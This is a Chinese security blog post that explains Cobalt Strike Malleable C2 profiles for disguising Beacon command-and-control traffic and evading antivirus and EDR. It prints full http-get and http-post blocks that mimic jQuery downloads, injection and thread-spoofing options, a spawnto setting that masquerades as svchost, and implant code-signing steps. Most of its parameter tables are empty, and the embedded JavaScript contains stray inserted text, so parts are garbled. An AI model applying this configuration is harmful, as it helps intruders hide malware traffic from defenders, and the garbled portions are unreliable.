写在前面:年更公众号又更新了,其实这篇是20年写的文章,最近整理以前博客历史文章的时候又看到了,看了看网上类似的文章还不是很多,部分对Malleable C2的介绍没有那么全,因此在稍作修改后发(shui)一(wen)下(zhang)
malleable C2和Malleable PE
malleable C2 用于规避流量检测
官网链接:https://www.cobaltstrike.com/help-malleable-c2
需要考虑网络环境,根据目标网络编写Malleable C2 Profile
C2的配置可包含以下部分
-
Profile元素
-
global OPTIONS
-
https-certificate
-
code-signer
-
http-get
-
http-post
-
http-stager
-
post-ex
-
TCP Beacon
-
...
在 Malleable C2 中, 语句可分为数据转换语句, 终止语句和额外语句三种类型。
数据转换语句:base64 base64url mask netbios netbiosu prepend append终止语句: print uri-append header parameter额外语句: header parameter
数据转换语句如下:
|
|
---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Strings转义字符如下:
值 | 含义 |
---|---|
|
|
|
|
|
|
|
|
|
|
|
终止关键字如下:
声明方式 | 数据存放位置 |
---|---|
|
|
|
|
|
|
|
|
http-get.server.output,http-post.server.output和http-stager.server.output这个三个代码块不能使用其他的终止语句只能使用print语句,http-get.client.metadata则是不能使用print当作终止语句的原因和get body传参有关
CS Beacon的通信方式如下:
-
Beacon给Teamserver发送一个HTTP GET请求,包含主机的元数据信息(如系统类型、版本、当前用户等)后进入睡眠状态 -
Teamserver给目标发送指令 -
Beacon返回执行完命令的回显后进入睡眠 -
Teamserver要求终止任务
MalleablePE
Malleable PE 直译就是可拓展PE,通常在实战环境下会针对Loader进行免杀,并不会考虑针对beacon进行免杀,这就导致了很多杀软/EDR的内存防护能针对默认设置的beacon进行查杀。C2Profile提供了很好地操作beacon的方法,C2Profile不仅仅可以自定义beacon的通信属性(例如uri,header等等),还可以对beacon进行操作,从而实现免杀的目的。
环境说明
kali linux 2019.3
Cobaltstrike 4.0
配置项详解
以一个模板文件进行分析,模板文件来自github仓库malleable-c2,按照对应的cs版本下载profile文件进行配置,以下为每个模块的释义
[global OPTIONS]
公共部分包含配置文件名称、sleeptimes、jitter、host_stage、useragent
[Profile Name]
[Sleep Times]
模板示例中sleeptime为beacon的休眠时间,jitter为随机值,避免每次响应时间相同导致被发现,例如此时设置的基准值为45秒,加上37%的浮动,即每次的响应时间为28-45秒
[User-Agent]
UA头的设置,使用默认的UA头可以伪装成正常浏览请求,防止某些安全设备的告警
[SSL CERTIFICATE]
此处可配置SSL证书,通过keytool可以生成自签证书
[http-get]
以下为profile示例中的http-get
http-get {set uri "/jquery-3.3.1.min.js";set verb "GET"; client { header "Accept""text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";#header "Host" "code.jquery.com"; header "Referer""http://code.jquery.com/"; header "Accept-Encoding""gzip, deflate"; metadata { base64url; prepend "__cfduid="; header "Cookie"; } } server { header "Server""NetDNA-cache/2.2"; header "Cache-Control""max-age=0, no-cache"; header "Pragma""no-cache"; header "Connection""keep-alive"; header "Content-Type""application/javascript; charset=utf-8"; output { mask; base64url;## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)# 2nd Line prepend "!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments展开收缩||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments展开收缩))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="r";# 1st Line prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */"; append "".(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";print; } }}
set-uri用于设置请求的uri地址,此处为固定的jquery,如设置多个值,则会自动从中随机选取
client和server是Beacon的请求规则和Teamserver的响应规则,其中metadata部分会进行base64编码
[http-post]
http-post {set uri "/jquery-3.3.2.min.js";set verb "POST"; client { header "Accept""text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";#header "Host" "code.jquery.com"; header "Referer""http://code.jquery.com/"; header "Accept-Encoding""gzip, deflate"; id { mask; base64url; parameter "__cfduid"; } output { mask; base64url;print; } } server { header "Server""NetDNA-cache/2.2"; header "Cache-Control""max-age=0, no-cache"; header "Pragma""no-cache"; header "Connection""keep-alive"; header "Content-Type""application/javascript; charset=utf-8"; output { mask; base64url;## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)# 2nd Line prepend "!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments展开收缩||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments展开收缩))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="r";# 1st Line prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */"; append "".(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";print; } }}
http-post为通过post请求发送的配置,与http-get类似
[http-config]
http-config代码块会影响Cobalt Strike所有HTTP响应
[stage]
stage块控制Beacon DLL如何加载到内存中并且可以修改Beacon DLL的内容
stage配置的相关配置如下
|
|
|
---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
[process-inject]
process-inject用于进程注入相关的内容进行配置,以控制注入相关的行为
有部分配置项和stage类似,老外的注释写的挺详细的,详细配置项如下:
|
|
|
---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
除了基础部分外,下面还包含一个execute配置子项,execute代码块控制Beacon在进程注入时要使用的方法。Beacon会检查execute代码块中的每个选项,确定该选项在当前环境中是否可用,在可用时尝试该方法。如果未执行代码,则移至下一个选项。
具体配置项如下:
|
|
|
|
---|---|---|---|
|
|
||
|
|
|
|
|
|||
|
|
||
|
|
|
|
|
|
|
CreateThread是专门针对自注入的,SetThreadContext和NtQueueApcThread-s选项和Beacon后渗透任务的临时进程相关。这些函数修改暂停进程的主线程来进行注入,NtQueueApcThread-s选项是Cobalt Strike对Early Bird代码注入技术的实现。
NtQueueApcThread、RtlCreateUserThread和CreateRemoteThread是标准的进程注入选项,用于将代码注入到远程进程中
此外CreateThread和CreateRemoteThread还具有线程起始地址欺骗功能,这对于绕过像Get-InjectedThread这样的技术很有用。使用方式[function] "module!function+[地址偏移量]"
[post-ex]
post-ex是CS profile中关于后渗透的综合功能最强大的一个部分,以反射DLL的形式实现,CS会生成一个临时进程,并将功能注入其中。进程注入块控制进程注入步骤。post-ex代码块控制了CS中后渗透任务的具体内容和行为。
在样例中可以看到光注释就写了一屏
默认配置项只有五条
|
|
|
---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
其中给定了一些注意事项
-
spawnto 最多只能为 63 个字符
-
二进制文件不会出现异常行为
-
进程名不要指定为"csrss.exe","logoff.exe","rdpinit.exe","bootim.exe","smss.exe","userinit.exe","sppsvc.exe"
-
二进制执行时不触发UAC
-
可以使用以下选项来混淆
set spawnto_x86 "%windir%\syswow64\svchost.exe -k netsvcs";set spawnto_x64 "%windir%\sysnative\svchost.exe -k netsvcs";注意:但是svchost作为父进程可能看起来不太正常
[code-signer]
除了SSL证书外,还有一个代码签名证书,该证书用于直接在生成马时打上签名,如果不带该参数时,生成exe文件时无法选中sign executable file选项
参考我的博客文章《keytool 生成证书链》进行证书生成
在profile中配置code-signer字段
code-signer {set keystore "keystore.jks";set password "password";setalias"server";}
添加成功后执行c2lint检查配置文件正确性,如正确时输出如下,能成功识别到code-signer
此时签名功能已经可以使用
[TCP Beacon]
该配置项用于设置TCP Beacon监听端口
默认端口为4444,强烈建议修改,其实4444,8888这些都比较容易被查,在这份模拟jquery的profile中使用的是42585,实际使用的时候建议也修改一下
[SMB Beacon]
该配置项用于SMB Beacon的P2P通信
设置管道符名称就行,但是官方不建议使用已存在的管道名,因为Beacon不会检测冲突
[DNS Beacon]
该选项用于配置DNS Beacon
设置选项 |
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
同时加载多重配置
由于一个teamserver只允许加载一个Malleable C2 Profile,如果更改了Malleable C2可能会影响其他已上线设备,因此在编写Profile时可以考虑配置多重配置
例如修改原profile中的http-get配置项,仅做示例使用,假装是个Vue
这时候重新加载Profile文件,在创建监听器时即可实现使用多种配置
其他Tips
-
避免GET和POST名过长,否则可能导致发包和回包都巨慢
-
C2Profile中的NamePipe最好选择与常规软件相近的NamePipe(比如Chrome)
-
想到了再写...
原文始发于微信公众号(魔影安全实验室):MalleableC2配置详解
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论